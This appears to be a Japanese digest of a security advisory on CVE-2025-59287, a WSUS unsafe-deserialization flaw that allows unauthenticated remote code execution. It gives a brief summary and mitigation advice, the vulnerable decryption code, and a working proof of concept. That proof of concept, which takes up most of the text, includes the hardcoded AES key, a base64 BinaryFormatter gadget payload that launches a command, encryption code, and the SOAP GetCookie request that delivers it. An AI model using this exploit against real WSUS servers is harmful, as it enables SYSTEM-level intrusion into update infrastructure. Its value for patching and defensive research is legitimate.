【訳】
CVE-2025-59287 WSUS リモートコード実行
【要点】
◎WSUSの不安全な逆シリアル化で未認証RCE(SYSTEM)。GetCookie経由のPoCあり。BinaryFormatter廃止と型検証が必須。
【要約】
WSUSのCVE-2025-59287は、GetCookie()で受け取るAuthorizationCookieをAES-128-CBCで復号後、型検証不十分のままBinaryFormatterで逆シリアライズする設計不備により、未認証でSYSTEM権限のRCEが可能となる脆弱性。PoCは暗号化ペイロードを生成しSOAP経由で送信して実行させる。恒久対策はBinaryFormatter排除、厳格な型検証と入力サニタイズ実装。
【ブログ】
◆CVE-2025-59287 WSUS Remote Code Execution (Hawktrace, 2025/10/18)
[CVE-2025-59287 WSUS リモートコード実行]A technical WSUS advisory for CVE-2025-59287: unsafe deserialization in Windows Server Update Services that allows remote code execution.
[CVE-2025-59287 に関する技術的な WSUS アドバイザリ: Windows Server Update Services における安全でない逆シリアル化により、リモートコード実行が可能となる。]
internal object DecryptData(byte[] cookieData) { if (cookieData == null) { throw new LoggedArgumentNullException("cookieData"); } ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor(); byte[] array; try { if (cookieData.Length % cryptoTransform.InputBlockSize != 0 || cookieData.Length <= cryptoTransform.InputBlockSize) { throw new LoggedArgumentException("Can't decrypt bogus cookieData; data is size, " + cookieData.Length.ToString() + ", which is not a multiple of " + cryptoTransform.InputBlockSize.ToString(), "cookieData"); } array = new byte[cookieData.Length - cryptoTransform.InputBlockSize]; cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize, EncryptionHelper.scratchBuffer, 0); cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize, cookieData.Length - cryptoTransform.InputBlockSize, array, 0); } finally { cryptoTransform.Dispose(); } object obj = null; if (this.classType == typeof(UnencryptedCookieData)) { UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData(); try { unencryptedCookieData.Deserialize(array); } catch (Exception ex) { if (ex is OutOfMemoryException) { throw; } throw new LoggedArgumentException(ex.ToString(), "cookieData"); } obj = unencryptedCookieData; } else { BinaryFormatter binaryFormatter = new BinaryFormatter(); MemoryStream memoryStream = new MemoryStream(array); try { obj = binaryFormatter.Deserialize(memoryStream); } catch (Exception ex2) { if (ex2 is OutOfMemoryException) { throw; } throw new LoggedArgumentException(ex2.ToString(), "cookieData"); } if (obj.GetType() != this.classType) { throw new LoggedArgumentException("Decrypted cookie has the wrong data type. Expected type = " + this.classType.ToString() + ", actual type = " + obj.GetType().ToString(), "cookieData"); } } return obj; }
【PoC】
static void Main() { //key string hexKey = "877C14E433638145AD21BD0C17393071"; byte[] key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16); string ysooo = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs="; byte[] ser = Convert.FromBase64String(ysooo); byte[] enc = EncryptPayload(ser, key); string base64Payload = Convert.ToBase64String(enc); Console.WriteLine(base64Payload); } static byte[] EncryptPayload(byte[] data, byte[] key) { using (var aes = new AesCryptoServiceProvider()) { aes.Key = key; aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.None; aes.IV = new byte[16]; // null byte[] salt = new byte[16]; new RNGCryptoServiceProvider().GetNonZeroBytes(salt); using (var encryptor = aes.CreateEncryptor()) { int num = data.Length % encryptor.InputBlockSize; int num2 = data.Length - num; byte[] result = new byte[encryptor.InputBlockSize + num2 + encryptor.OutputBlockSize]; encryptor.TransformBlock(salt, 0, salt.Length, result, 0); encryptor.TransformBlock(data, 0, num2, result, salt.Length); byte[] paddedBlock = new byte[encryptor.InputBlockSize]; for (int i = 0; i < num; i++) { paddedBlock[i] = data[num2 + i]; } encryptor.TransformBlock(paddedBlock, 0, paddedBlock.Length, result, salt.Length + num2); return result; } } }
POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>[GENERATED PAYLOAD]</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>